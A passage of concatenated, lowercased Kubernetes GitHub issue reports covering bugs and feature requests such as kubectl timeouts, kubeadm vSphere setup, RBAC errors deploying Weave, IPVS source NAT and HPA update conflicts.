,\\\ reason\\\ :\\\ timeout\\\ ,\\\ details\\\ :{},\\\ code\\\ :504}\ \r       }\r      \r   },\r   \ code\ : 504\r } \r f0327 16:19:33.631252   25779 helpers.go:114  error from server  timeout : the server was unable to return a response in the time allotted, but may still be processing the request  get nodes \r     \r \r   what you expected to happen  :\r \r i have two master node,  kubectl should work when i shutdown any one of the two master\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.0\r - cloud provider or hardware configuration: \r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools: binary with ansible playbook\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r  usagenanocores  is not reported for  node  on windows.\r    \r { \r   \ node\ : {\r    \ nodename\ : \ e2e-test-yjhong-windows-node-group-wv9b\ ,\r    \ systemcontainers\ :  \r     {\r      \ name\ : \ pods\ ,\r      \ starttime\ : \ 2019-04-17t22:58:59z\ ,\r      \ cpu\ : {\r       \ time\ : null\r      },\r      \ memory\ : {\r       \ time\ : null\r      },\r      \ userdefinedmetrics\ : null\r     }\r     ,\r    \ starttime\ : \ 2019-04-17t22:24:57z\ ,\r    \ cpu\ : {\r     \ time\ : \ 2019-04-17t22:58:58z\ ,\r     \ usagecorenanoseconds\ : 55040000000\r    },\r    \ memory\ : {\r     \ time\ : \ 2019-04-17t22:58:58z\ ,\r     \ availablebytes\ : 7619317760,\r     \ usagebytes\ : 1213886464,\r     \ workingsetbytes\ : 433328128,\r     \ rssbytes\ : 0,\r     \ pagefaults\ : 0,\r     \ majorpagefaults\ : 0\r    },\r ...\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.15.0-alpha.1.76+d48509bdf01ee1-\r - cloud provider or hardware configuration: gce\r - os  e.g:  cat /etc/os-release  : windows 1809\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r /cc @dashpole @feiskyer

the proto files should only have imports to packages they actually use.

dashboard version: 1.1.0 kubernetes version: 1.3.0 operating system: ubuntu14.04 go version: 1.6.2  kubernetes install 1. git clone https://github.com/kubernetes/kubernetes.git cd kubernetes make release 2. deploy it as  http://kubernetes.io/docs/getting-started-guides/ubuntu/ kubernetes_provider=ubuntu ./kube-up.sh 3. deploy dashboard as  kubernetes_provider=ubuntu ./deployaddons.sh  ! image  https://cloud.githubusercontent.com/assets/16483518/17358322/dc0990c8-5993-11e6-9adc-d036904b9179.png  when i access http://159.99.105.148:8080/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard is right ,but need not login; bus access  https://159.99.93.113/ui , return error “refused to connect.” ，does need i to config other?

master metrics api is implemented in heapster  23376. it should be available in api server. the rough plan is to: 1. refactor heapster to be api server by using generic api server library 2. set up discovery summarizer to work well with multiple api servers 3. set up clients to use discovery summarizer 4. change kubectl top/hpa to use it  i will send a proposal soon.  follow up  23376

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/449/ failed:  k8s.io  node container manager  serial  validate node allocatable set's up the node and runs the test {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/node_container_manager_test.go:62 expected error:     < errors.errorstring | 0xc420ec35e0>: {         s: \ unexpected cpu allocatable value exposed by the node. expected: 800m, got: {{1 0} {<nil>} 1 decimalsi}, capacity: {{1 0} {<nil>} 1 decimalsi}\ ,     }     unexpected cpu allocatable value exposed by the node. expected: 800m, got: {{1 0} {<nil>} 1 decimalsi}, capacity: {{1 0} {<nil>} 1 decimalsi} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/node_container_manager_test.go:61

@foxish \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster/26\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster-new/24\r \r the network partition tests are largely failing in the gce upgrade tests. i had these marked as flakes, but they've failed a lot recently - can you take a look at the failures and confirm that there's not an actual underlying issue?\r \r for context, these tests spin up a 1.5 cluster, upgrade it to 1.6, and then run either 1.5 or 1.6 e2e tests against it, depending on the job.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r register  has fixme suggesting to rename the function name https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/plugins.go l62 . this is a small clean up task.

the signer and approver should be distinct controllers.\r \r @pipejakob @jcbsmpsn

based on my testing, in 1.6, if i passed \r  1. stdout empty -  true \r  1. stdout  false  -  true \r  1. stdout  true  -  true \r \r in 1.7, if i passed\r  1. stdout empty -  false \r  1. stdout  false  -  false \r  1. stdout  true  -  true \r \r the 1.6 defaulting doesn't work because you can't default a  bool  field.  the parameter decoder doesn't handle   bool  and even if it did, you'd end up facing more conversions to get to a useable internal version.\r \r the 1.7 handle is sane  if i pass false, i get false , but it drops the empty -> true aspect.  the kubernetes-ui library always passes a value and kubectl always passes a value.\r \r i think we should probably stick with the 1.7 behavior and add a note somewhere about it.  if the world explodes in 1.7  doubtful, i think , we could reassess.\r \r @kubernetes/sig-api-machinery-bugs @lavalamp @smarterclayton @liggitt

i needed to copy the policy contents for kubemark while it should've been possible to reuse it.\r earlier discussion we had about this - https://github.com/kubernetes/kubernetes/pull/52998 issuecomment-331940632\r \r cc @crassirostris @liggitt @tallclair @kubernetes/sig-instrumentation-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r liveness probes and readiness probes don't seem to treat 204 no content as healthy  even though 2xx status codes are success statuses  \r \r   what you expected to happen  :\r any 2xx status should be treated as healthy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create an app with an endpoint returning 204 no content and set the liveness/readiness probes to be that endpoint. \r \r note app does not become healthy and does not respond. \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  : gcp/gke\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  : gcp/gke\r - install tools: n/a\r - others: n/a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r launched kubernetes cluster using kubeadm. but, apiserver and controller manager pod doesn't start\r   what you expected to happen  :\r apiserver and controller manager should start \r   how to reproduce it  as minimally and precisely as possible   :\r run kubeadm:\r    kubeadm init --config config1 --skip-preflight-checks   \r config1:\r    \r api:\r   advertiseaddress: 10.161.169.219\r   bindport: 6443\r authorizationmodes:\r - node\r - rbac\r certificatesdir: /etc/kubernetes/pki\r cloudprovider: \ vsphere\ \r etcd:\r   cafile: \ \ \r   certfile: \ \ \r   datadir: /var/lib/etcd\r   endpoints: null\r   image: \ gcr.io/google-containers/etcd:3.1.10\ \r   keyfile: \ \ \r imagerepository: docker.io/ashivani\r kubernetesversion: v1.8.2\r networking:\r   dnsdomain: cluster.local\r   podsubnet: \ 10.244.0.0/16\ \r   servicesubnet: 10.96.0.0/12\r nodename: promc-2n-dhcp105-23\r token: \ \ \r tokenttl: 24h0m0s\r unifiedcontrolplaneimage: \ docker.io/ashivani/hyperkube-amd64:v1.8.2\ \r apiserverextraargs:\r   cloud-config: /etc/kubernetes/conf/vsphere.conf\r controllermanagerextraargs:\r   cloud-config: /etc/kubernetes/conf/vsphere.conf\r apiserverextravolumes:\r     - name: configmount\r       hostpath: /etc/kubernetes/conf\r       mountpath: /etc/kubernetes/conf\r controllermanagerextravolumes:\r      - name: configmount\r        hostpath: /etc/kubernetes/conf\r        mountpath: /etc/kubernetes/conf\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  master  commit: 687c8d3297   \r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-87-generic\r - install tools: \r - others:\r \r manifest generated by kubeadm:\r   apiserver  \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-apiserver\r     tier: control-plane\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-apiserver\r     - --cloud-config=/etc/kubernetes/conf/vsphere.conf\r     - --insecure-port=0\r     - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\r     - --secure-port=6443\r     - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\r     - --requestheader-group-headers=x-remote-group\r     - --advertise-address=10.161.169.219\r     - --service-account-key-file=/etc/kubernetes/pki/sa.pub\r     - --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota\r     - --enable-bootstrap-token-auth=true\r     - --requestheader-extra-headers-prefix=x-remote-extra-\r     - --service-cluster-ip-range=10.96.0.0/12\r     - --client-ca-file=/etc/kubernetes/pki/ca.crt\r     - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\r     - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\r     - --allow-privileged=true\r     - --kubelet-preferred-address-types=internalip,externalip,hostname\r     - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\r     - --allow-privileged=true\r     - --kubelet-preferred-address-types=internalip,externalip,hostname\r     - --requestheader-username-headers=x-remote-user\r     - --requestheader-allowed-names=front-proxy-client\r     - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt\r     - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key\r     - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\r     - --authorization-mode=node,rbac\r     - --etcd-servers=http://127.0.0.1:2379\r     - --cloud-provider=vsphere\r     image: docker.io/ashivani/hyperkube-amd64:v1.8.2\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 10.161.169.219\r         path: /healthz\r         port: 6443\r         scheme: https\r       initialdelayseconds: 15\r       timeoutseconds: 16\r     name: kube-apiserver\r     resources:\r       requests:\r         cpu: 250m\r     volumemounts:\r     - mountpath: /etc/pki\r       name: ca-certs-etc-pki\r       readonly: true\r     - mountpath: /etc/kubernetes/conf\r       name: configmount\r       readonly: true\r     - mountpath: /etc/kubernetes/pki\r       name: k8s-certs\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ca-certs\r       readonly: true\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/pki\r       type: directoryorcreate\r     name: k8s-certs\r   - hostpath:\r       path: /etc/ssl/certs\r       type: directoryorcreate\r   - hostpath:\r       path: /etc/pki\r       type: directoryorcreate\r     name: ca-certs-etc-pki\r   - hostpath:\r       path: /etc/kubernetes/conf\r       type: directoryorcreate\r     name: configmount\r status: {}\r    \r   controller-manager  \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-controller-manager\r     tier: control-plane\r   name: kube-controller-manager\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-controller-manager\r     - --cloud-config=/etc/kubernetes/conf/vsphere.conf\r     - --root-ca-file=/etc/kubernetes/pki/ca.crt\r     - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt\r     - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key\r     - --address=127.0.0.1\r     - --use-service-account-credentials=true\r     - --controllers= ,bootstrapsigner,tokencleaner\r     - --kubeconfig=/etc/kubernetes/controller-manager.conf\r     - --service-account-private-key-file=/etc/kubernetes/pki/sa.key\r     - --leader-elect=true\r     - --cloud-provider=vsphere\r     - --allocate-node-cidrs=true\r     - --cluster-cidr=10.244.0.0/16\r     - --node-cidr-mask-size=24\r     image: docker.io/ashivani/hyperkube-amd64:v1.8.2\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 127.0.0.1\r         path: /healthz\r         port: 10252\r         scheme: http\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     name: kube-controller-manager\r     resources:\r       requests:\r         cpu: 200m\r     volumemounts:\r     - mountpath: /etc/pki\r       name: ca-certs-etc-pki\r       readonly: true\r     - mountpath: /etc/kubernetes/conf\r       name: configmount\r       readonly: true\r     - mountpath: /etc/kubernetes/pki\r       name: k8s-certs\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ca-certs\r       readonly: true\r     - mountpath: /etc/kubernetes/controller-manager.conf\r       name: kubeconfig\r       readonly: true\r     - mountpath: /usr/libexec/kubernetes/kubelet-plugins/volume/exec\r       name: flexvolume-dir\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/pki\r       type: directoryorcreate\r   - hostpath:\r       path: /etc/ssl/certs\r       type: directoryorcreate\r     name: ca-certs\r   - hostpath:\r       path: /etc/kubernetes/controller-manager.conf\r       type: fileorcreate\r     name: kubeconfig\r   - hostpath:\r       path: /usr/libexec/kubernetes/kubelet-plugins/volume/exec\r       type: directoryorcreate\r     name: flexvolume-dir\r   - hostpath:\r       path: /etc/pki\r       type: directoryorcreate\r     name: ca-certs-etc-pki\r   - hostpath:\r       path: /etc/kubernetes/conf\r       type: directoryorcreate\r     name: configmount\r \r

\r   is this a bug report or feature request?  : feature\r \r  \r   what happened  : if kubernetes node is shutdowned, pod which contains pvc are failovered quite slowly. \r \r   what you expected to happen  : i except that if node is shutdowned it should not wait maxwaitforunmountduration in https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/reconciler/reconciler.go l201\r \r currently this \ failover\  if node is shutdowned takes something like 9-10minutes. if we could get rid of this maxwaitforunmountduration we could do this less than 2 minutes. so we could check in reconciler if node state is \ safe\  we can detach the volume without waiting 6 minutes. i would say safe state is shutdown in case of openstack and also in aws?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. make deployment which have pvc  for instance cinder or ebs \r 2. check in which node it is running, and shutdown that node from cloudprovider gui/api, in case of amazon from amazon console.\r 3. after sometime pod is moved to another node and started there, but it takes sometime because it waits maxwaitforunmountduration before it will detach the volume from shutdowned node.\r \r   anything else we need to know?  : this exist at least in openstack, but i think it exist in all cloudproviders. i tried to search fix for this from another cloudproviders without success.\r \r some discussion in another pr https://github.com/kubernetes/kubernetes/pull/56846\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r \r cc @jingxu97 @gnufied \r

hi,\r \r   environment  : \r - kubernetes version  use  kubectl version  : v1.8\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : \ container linux by coreos 1576.4.0  ladybug \ \r - kernel  e.g.  uname -a  : linux master-1.novalocal 4.13.16-coreos-r2\r - others: openstack floating ip for master node is 192.168.67.107\r - rbac enabled.\r \r i try to deploy weave-network plugin using cmd:\r \r > kubectl apply -f \ https://cloud.weave.works/k8s/v1.8/net.yaml\ \r \r but get following:\r \r    \r serviceaccount \ weave-net\  created\r clusterrolebinding \ weave-net\  created\r rolebinding \ weave-net\  created\r daemonset \ weave-net\  created\r error from server  forbidden : clusterroles.rbac.authorization.k8s.io \ weave-net\  is forbidden: attempt to grant extra privileges:  policyrule{resources: \ pods\  , apigroups: \ \  , verbs: \ get\  } policyrule{resources: \ pods\  , apigroups: \ \  , verbs: \ list\  } policyrule{resources: \ pods\  , apigroups: \ \  , verbs: \ watch\  } policyrule{resources: \ namespaces\  , apigroups: \ \  , verbs: \ get\  } policyrule{resources: \ namespaces\  , apigroups: \ \  , verbs: \ list\  } policyrule{resources: \ namespaces\  , apigroups: \ \  , verbs: \ watch\  } policyrule{resources: \ nodes\  , apigroups: \ \  , verbs: \ get\  } policyrule{resources: \ nodes\  , apigroups: \ \  , verbs: \ list\  } policyrule{resources: \ nodes\  , apigroups: \ \  , verbs: \ watch\  } policyrule{resources: \ networkpolicies\  , apigroups: \ networking.k8s.io\  , verbs: \ get\  } policyrule{resources: \ networkpolicies\  , apigroups: \ networking.k8s.io\  , verbs: \ list\  } policyrule{resources: \ networkpolicies\  , apigroups: \ networking.k8s.io\  , verbs: \ watch\  }  user=&{192.168.67.107   system:authenticated  map  } ownerrules= policyrule{resources: \ selfsubjectaccessreviews\  , apigroups: \ authorization.k8s.io\  , verbs: \ create\  } policyrule{nonresourceurls: \ /api\  \ /api/ \  \ /apis\  \ /apis/ \  \ /healthz\  \ /swaggerapi\  \ /swaggerapi/ \  \ /version\  , verbs: \ get\  }  ruleresolutionerrors=  \r error from server  forbidden : roles.rbac.authorization.k8s.io \ weave-net\  is forbidden: attempt to grant extra privileges:  policyrule{resources: \ configmaps\  , resourcenames: \ weave-net\  , apigroups: \ \  , verbs: \ get\  } policyrule{resources: \ configmaps\  , resourcenames: \ weave-net\  , apigroups: \ \  , verbs: \ update\  } policyrule{resources: \ configmaps\  , apigroups: \ \  , verbs: \ create\  }  user=&{192.168.67.107   system:authenticated  map  } ownerrules= policyrule{resources: \ selfsubjectaccessreviews\  , apigroups: \ authorization.k8s.io\  , verbs: \ create\  } policyrule{nonresourceurls: \ /api\  \ /api/ \  \ /apis\  \ /apis/ \  \ /healthz\  \ /swaggerapi\  \ /swaggerapi/ \  \ /version\  , verbs: \ get\  }  ruleresolutionerrors=  \r    \r as you can see it tries to use user=192.168.67.107 instead 'admin' that is configured in local kubectl.\r \r my kubectl config\r > kubectl config view\r \r    \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /tmp/ca/kubelet/kubelet-ca.crt\r     server: https://192.168.67.107\r   name: default-cluster\r contexts:\r - context:\r     cluster: default-cluster\r     user: admin\r   name: default-system\r current-context: default-system\r kind: config\r preferences: {}\r users:\r - name: admin\r   user:\r     client-certificate: /tmp/ca/kubelet/kubelet.crt\r     client-key: /tmp/ca/kubelet/kubelet.key\r    \r \r if i grant permissions to user=192.168.67.107 like:\r \r > kubectl create clusterrolebinding myname-cluster-admin-binding-1 --clusterrole=cluster-admin --user=192.168.67.107\r \r everything works fine.\r \r could you please describe why ip is used instead of user?\r

is this a bug report or feature request?  : bug\r \r   \r \r   what happened  :\r when performing a rolling update of my nodes  i.e., cordon, drain, delete vm on azure side  one after the other the corresponding  node  objects of the deleted vms are not being deleted from etcd. this affects all patch versions  1.9.x  while it is working fine with  1.8.x .\r \r   what you expected to happen  :\r the  node  objects are removed from etcd when the backing virtual machine does not exist any more.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a kubernetes cluster with version  1.9.x  on azure, cordon and drain the node and delete the backing vm afterwards.\r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.x\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos stable 1632.3.0\r - others:  standard_ds2_v2  machine type\r

is this a bug report or feature request?  :\r \r   /area ipvs\r \r   what happened  :\r \r the source address is nated even when  externaltrafficpolicy: local  is set in the service when accessed via   externalips .\r \r   what you expected to happen  :\r \r the source address should be preserved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - define a service with  externalips  and  externaltrafficpolicy: local .\r - connect to the service using a  externalips \r - check the peer address of the connection\r \r   anything else we need to know?  :\r \r the problem is the  kube-mark-masq...match-set kube-external-ip  iptables rule;\r \r    \r chain kube-services  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                !11.0.0.0/16          0.0.0.0/0            match-set kube-cluster-ip dst,dst\r     0     0 kube-mark-masq  all  --                 0.0.0.0/0            0.0.0.0/0            match-set kube-external-ip dst,dst\r     0     0 accept     all  --                 0.0.0.0/0            0.0.0.0/0            match-set kube-external-ip dst,dst physdev match ! --physdev-is-in addrtype match src-type !local\r     0     0 accept     all  --                 0.0.0.0/0            0.0.0.0/0            match-set kube-external-ip dst,dst addrtype match dst-type local\r    \r \r if that rule is removed with;\r    \r iptables -t nat -d kube-services 2\r    \r \r then the source-ip is preserved.\r \r the source-ip   is   preserved if the service is addresses via the  nodeport .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r     kvm's on ubuntu 16.04.4 lts\r \r - os  e.g. from /etc/os-release :\r     own busybox\r \r - kernel  e.g.  uname -a  :\r     linux vm-201 4.15.5  3 smp fri mar 23 17:46:48 cet 2018 x86_64 gnu/linux\r \r - install tools:\r     none\r - others:\r

this is being created as a result of  68026.\r \r it was brought up because there may be some lint errors that may need to be ignored. \r \r the example that i saw was proxy.proxyprovider was being flagged as a stutter. that one is fine to be renamed to proxy.provider, but it's possible that elsewhere in the project, fixing a stutter like that would not make sense because of its use in the package it was declared in.

\r   what happened  :\r containers cannot access quobyte volumes provided via a quobyte mount run by the quobyte plugins mount command due to permission denied issues. even if user mappings are provided these are ignored by the quobyte client due to a missing mount flag.\r \r   what you expected to happen  :\r access should work with the provided user mapping.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. run quobyte volumes without providing an externally managed plugin mount, thus allowing the quobyte plugin to run the mount command.\r 2. create quobyte based storageclass, pvc and pod desc.\r 3. run the pod\r \r   anything else we need to know?  :\r 1. i'm preparing a pull request with a fix\r 2. workaround is to run an externally managed mount for the plugin, e.g. via a systemd unit or a k8s daemonset. ensure that mount activates the allow-usermapping-in-volumename option. in this case the plugin uses the existing mount.\r \r   environment  :\r not relevant.\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

putting the usage info at the top makes it likely that this info  which is the thing the user actually wants  will scroll off the screen. we should move it to the bottom, after the flags and additional help topics  i'm not sure we should be showing additional help topics, but that's another story .

what happened  :\r the in-tree vpshere cloud provider does not support saml auth tokens for the tag-based node labeling.   the provider relies on the   withtagsclient  function  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vsphere.go l1435  to authenticate with the vapi rest endpoints.  this function assumes that the  username  and  password  fields are set to a username and password.  in the case of saml auth, these fields must be set to a cert and key, respectively.  the saml auth setup is described here:  https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/saml-token-authentication.html\r \r the vsphere cloud provider when not fetching tags uses a different auth handler which does properly handle saml auth - https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vclib/connection.go l91\r \r so when using saml auth tokens, the cloud provider is able to authenticate with the vsphere api to do things like identifying the vm from the uuid, but not able to authenticate with the vsphere api when fetching tags because it tries to use the cert and key as a basic auth username and password.\r \r   what you expected to happen  :\r the kubelet is able to acquire the tag-based labels for the node object using saml token auth.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set up saml token authentication as described in the official docs: https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/saml-token-authentication.html\r \r the kubelet logs indicate that zone info  from vm tags  cannot be retrieved due to an auth issue:\r    \r mar 20 10:48:34 ul-lin-mast-8k kubelet 11752 : e0320 10:48:34.326226   11752 vsphere.go:1528  get zone for node ul-lin-mast-8k: post https://vcenterdo.arlington.predictivetechnologies.com:443/rest/com/vmware/cis/session: 401 unauthorized\r    \r \r   anything else we need to know?  :\r support for sso in the govmomi vapi was implemented here: https://github.com/vmware/govmomi/commit/54a181af415d37e446e71a07c93fb09fe2942720\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.14.0-beta.1\r - cloud provider or hardware configuration:\r vsphere\r - os  e.g:  cat /etc/os-release  :\r ubuntu 18.04

see https://github.com/kubernetes/kubernetes/issues/12269 issuecomment-178291213 for context.  @thinhduckhoi @coolsvap

hi, i created a kubernetes cluster from coreos-aws  with existing vpc and subnets . i can't create an elb on it.  the file:      apiversion: v1 kind: service metadata:   name: nginxservice   labels:     name: nginxservice spec:   ports:     - port: 80   selector:     app: nginx   type: loadbalancer      the command:      kubectl kubeconfig=kubeconfig describe svc nginxservice name:           nginxservice namespace:      default labels:         name=nginxservice selector:       app=nginx type:           loadbalancer ip:         172.18.200.63 port:           <unnamed>   80/tcp nodeport:       <unnamed>   31870/tcp endpoints:      172.18.29.3:80,172.18.31.3:80 session affinity:   none events:   firstseen             lastseen            count   from            subobjectpath   reason          message   wed, 20 jul 2016 18:41:15 +0200   wed, 20 jul 2016 18:41:20 +0200 2   {service-controller }           creatingloadbalancer    creating load balancer   wed, 20 jul 2016 18:41:15 +0200   wed, 20 jul 2016 18:41:20 +0200 2   {service-controller }           creatingloadbalancerfailed  error creating load balancer  will retry : failed to create load balancer for service default/nginxservice: could not find any suitable subnets for creating the elb      i added manually the missing tag kubernetescluster on the subnet w/o result. can you add an clear message about what is missing?

it would be nice to expose e.g.  objectmeta.resourceversion  in a file in the same directory as the keys projected from your configmap when consuming a configmap as a volume. right now  configmapvolumesource  only projects keys from the configmap's  data  field.

assigned to @k82cn \r blocking issue for 1.6 release\r ref/  38871\r cc/ @smarterclayton \r

the function getinstancesbynames in gce.go setup a filter with node name prefix when calling instances.list. however the node name might be truncated and it will not match exactly with the node name prefix. in such case, the filter is set to empty, and all instances will be returned. \r \r getinstancebyname function is supposed to use instance.get with the specified name. however, when the cluster is across multiple zones, it will call getinstancesbynames in every zone which cause some unnecessary traffic especially for large cluster.

there are several todo's in the  nvidia-gpu-manager  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/gpu/nvidia/nvidia_gpu_manager.go l68  for migrating existing code to leverage cri logic. \r \r  hardware accelerators  https://github.com/kubernetes/features/issues/192  and gpus will likely change, but we should convert these existing functions in support of  43234 .

kubernetes version    use  kubectl version  :\r \r head + pr https://github.com/kubernetes/kubernetes/pull/43354  not affecting this though \r \r   environment  :\r \r https://github.com/luxas/kubeadm-workshop\r \r   what happened  :\r controller-manager logs:\r    \r w0319 20:40:46.849143       1 horizontal.go:126  failed to reconcile my-hpa: failed to update status for my-hpa: operation cannot be fulfilled on horizontalpodautoscalers.autoscaling \ my-hpa\ : the object has been modified; please apply your changes to the latest version and try again\r w0319 20:40:56.849159       1 horizontal.go:126  failed to reconcile my-hpa: failed to update status for my-hpa: operation cannot be fulfilled on horizontalpodautoscalers.autoscaling \ my-hpa\ : the object has been modified; please apply your changes to the latest version and try again\r w0319 20:41:06.849212       1 horizontal.go:126  failed to reconcile my-hpa: failed to update status for my-hpa: operation cannot be fulfilled on horizontalpodautoscalers.autoscaling \ my-hpa\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r seems like a race condition of some kind. relevant controller-manager flags:\r  - horizontal-pod-autoscaler-use-rest-clients: \ true\ \r  - horizontal-pod-autoscaler-sync-period: \ 10s\ \r \r   what you expected to happen  :\r \r it somehow autoscales the deployment, but very unreliably:\r    \r kubectl get hpa\r name      reference             targets        minpods   maxpods   replicas   age\r my-hpa    deployment/my-nginx   343200m / 10   2         10        6          5m\r    \r for instance, i expected the replicas to be 10 when the value is 34x the target  but i haven't read the maths here so i don't know yet \r \r @directxman12 @piosz do you know what the issue could be?

based on kubernetes/community 306\r \r this issue is meant to track work items and help collaboration between the community on adding support for persistent local storage.\r \r note:  these features can change based on the number of collaborators.\r \r alpha user guide is  here  https://github.com/kubernetes-incubator/external-storage/blob/master/local-volume/readme.md \r \r individual task tracking is available in the sig storage planning  spreadsheet  https://docs.google.com/spreadsheets/d/1t4z5dykjx2zdlktpcnp18icraqqoe85c1t1r2gqjvck

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r statefulset, delete, failure\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r \r   kubernetes version    use  kubectl version  :\r v1.6.1\r \r   environment  :\r -   cloud provider or hardware configuration  : amd64\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  :  linux 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : ansible\r -   others  :\r \r \r   what happened  :\r i can create a statefulset without image. while kubernetes shall check these required field.\r \r    \r   kubectl get statefulsets\r name                    desired  